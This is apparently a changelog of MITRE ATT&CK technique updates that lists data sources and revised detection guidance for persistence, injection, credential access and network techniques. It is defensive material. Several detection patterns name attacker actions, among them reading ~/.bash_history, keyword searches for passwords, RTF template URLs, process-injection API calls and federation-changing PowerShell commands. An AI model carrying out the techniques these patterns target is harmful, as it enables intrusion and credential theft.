| x_mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:14.487000+00:00 | 2025-10-24 17:49:29.942000+00:00 |
| x_mitre_detection | Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) + +Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -–type=service –all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd) + +Auditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Scheduled Job: Scheduled Job Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:55.648000+00:00 | 2025-10-24 17:49:11.261000+00:00 |
| x_mitre_detection | Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.
+
+Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers –all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.
+
+Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:08.824000+00:00 | 2025-10-24 17:48:33.317000+00:00 |
| x_mitre_detection | Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) + +Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Share: Network Share Access', 'Process: Process Creation', 'File: File Modification', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:14.334000+00:00 | 2025-10-24 17:48:32.156000+00:00 |
| x_mitre_detection | Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques. + +Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:16:15.516000+00:00 | 2025-10-24 17:49:28.862000+00:00 |
| x_mitre_detection | Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.
+
+Monitor .rtf files for strings indicating the *\template control word has been modified to retrieve a URL resource, such as *\template http or *\template \u-. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Command: Command Execution', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:15:45.110000+00:00 | 2025-10-24 17:48:39.258000+00:00 |
| x_mitre_detection | Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\System\CurrentControlSet\services\TermService\Parameters\.
+
+Monitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\System32\.
+
+Monitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.
+
+Monitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\System32\termsrv.dll, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Process: Process Modification', 'Process: Process Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:28.558000+00:00 | 2025-10-24 17:48:42.433000+00:00 |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
+
+Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Modification', 'Process: Process Access', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:21.860000+00:00 | 2025-10-24 17:49:32.111000+00:00 |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
+
+Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:35.700000+00:00 | 2025-10-24 17:48:51.278000+00:00 |
| x_mitre_detection | Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)
+
+The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'File: File Modification', 'File: File Metadata', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:27.752000+00:00 | 2025-10-24 17:48:43.937000+00:00 |
| x_mitre_detection | Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:48.792000+00:00 | 2025-10-24 17:49:04.117000+00:00 |
| x_mitre_detection | If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
+
+Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:44.474000+00:00 | 2025-10-24 17:49:00.388000+00:00 |
| x_mitre_detection | Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. |
Current version: 2.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:27.071000+00:00 | 2025-10-24 17:48:43.225000+00:00 |
| x_mitre_detection | Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.
+
+The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN) |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Cloud Storage: Cloud Storage Modification', 'Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Cloud Storage: Cloud Storage Metadata', 'Snapshot: Snapshot Metadata', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Cloud Storage: Cloud Storage Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:16:36.472000+00:00 | 2025-10-24 17:49:27.409000+00:00 |
| x_mitre_detection | Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. + +In AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a "Get Snapshot SAS URL" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:16:50.965000+00:00 | 2025-10-24 17:49:25.162000+00:00 |
| x_mitre_detection | Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:19.364000+00:00 | 2025-10-24 17:48:38.001000+00:00 |
| x_mitre_detection | Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:52.100000+00:00 | 2025-10-24 17:48:51.725000+00:00 |
| x_mitre_detection | Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Application Log: Application Log Content', 'Active Directory: Active Directory Object Modification', 'Active Directory: Active Directory Object Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:14.422000+00:00 | 2025-10-24 17:48:32.244000+00:00 |
| x_mitre_detection | Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)
+
+Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: "Federated Domain Name", or Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Metadata', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:24.863000+00:00 | 2025-10-24 17:49:40.055000+00:00 |
| x_mitre_detection | Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. + +Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. |
Current version: 2.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:17:12.008000+00:00 | 2025-10-24 17:49:09.835000+00:00 |
| x_mitre_detection | Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:17:25.978000+00:00 | 2025-10-24 17:49:37.034000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor file creation and modification of Udev rule files in `/etc/udev/rules.d/`, `/lib/udev/rules.d/`, and /usr/lib/udev/rules.d/, specifically the `RUN` action key commands.(Citation: Ignacio Udev research 2024) | |
| x_mitre_contributors[4] | Ruben Groenewoud, Elastic | Ruben Groenewoud (@RFGroenewoud) |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:00.346000+00:00 | 2025-10-24 17:49:15.960000+00:00 |
| x_mitre_detection | While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.
+
+Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor)
+
+For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.
+ |
Current version: 1.5
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search compromised systems to find and obtai | t | 1 | Adversaries may search compromised systems to find and obtai |
| > | n insecurely stored credentials. These credentials can be st | > | n insecurely stored credentials. These credentials can be st | ||
| > | ored and/or misplaced in many locations on a system, includi | > | ored and/or misplaced in many locations on a system, includi | ||
| > | ng plaintext files (e.g. [Bash History](https://attack.mitre | > | ng plaintext files (e.g. [Shell History](https://attack.mitr | ||
| > | .org/techniques/T1552/003)), operating system or application | > | e.org/techniques/T1552/003)), operating system or applicatio | ||
| > | -specific repositories (e.g. [Credentials in Registry](https | > | n-specific repositories (e.g. [Credentials in Registry](http | ||
| > | ://attack.mitre.org/techniques/T1552/002)), or other specia | > | s://attack.mitre.org/techniques/T1552/002)), or other speci | ||
| > | lized files/artifacts (e.g. [Private Keys](https://attack.mi | > | alized files/artifacts (e.g. [Private Keys](https://attack.m | ||
| > | tre.org/techniques/T1552/004)).(Citation: Brining MimiKatz t | > | itre.org/techniques/T1552/004)).(Citation: Brining MimiKatz | ||
| > | o Unix) | > | to Unix) | ||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Access', 'Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access', 'User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:26.362000+00:00 | 2025-10-24 17:48:42.785000+00:00 |
| description | Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix) | Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix) |
| x_mitre_detection | While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.
+
+Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.
+
+Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like cat ~/.bash_history.
+
+Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Instance: Instance Creation', 'Instance: Instance Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:17:42.649000+00:00 | 2025-10-24 17:48:49.853000+00:00 |
| x_mitre_detection | Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:18:15.337000+00:00 | 2025-10-24 17:48:46.160000+00:00 |
| x_mitre_detection | If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105). |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request', 'Web Credential: Web Credential Usage', 'User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:30.693000+00:00 | 2025-10-24 17:48:46.684000+00:00 |
| x_mitre_detection | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:51.123000+00:00 | 2025-10-24 17:49:06.305000+00:00 |
| x_mitre_detection | User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. |
Current version: 1.8
New Mitigations:
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Instance: Instance Start', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Container: Container Creation', 'Instance: Instance Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Command: Command Execution', 'Image: Image Creation', 'Application Log: Application Log Content', 'Container: Container Start'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:49.690000+00:00 | 2025-10-24 17:49:04.940000+00:00 |
| x_mitre_detection | Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. + +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:00.627000+00:00 | 2025-10-24 17:49:22.623000+00:00 |
| x_mitre_detection | Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)
+
+If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:52.691000+00:00 | 2025-10-24 17:49:08.040000+00:00 |
| x_mitre_detection | Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:01.548000+00:00 | 2025-10-24 17:48:19.567000+00:00 |
| x_mitre_detection | Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.
+
+On macOS systems log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
+
+Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema) |
Current version: 2.8
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'User Account: User Account Authentication', 'Logon Session: Logon Session Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:58.373000+00:00 | 2025-10-24 17:49:14.095000+00:00 |
| x_mitre_detection | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). + +Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
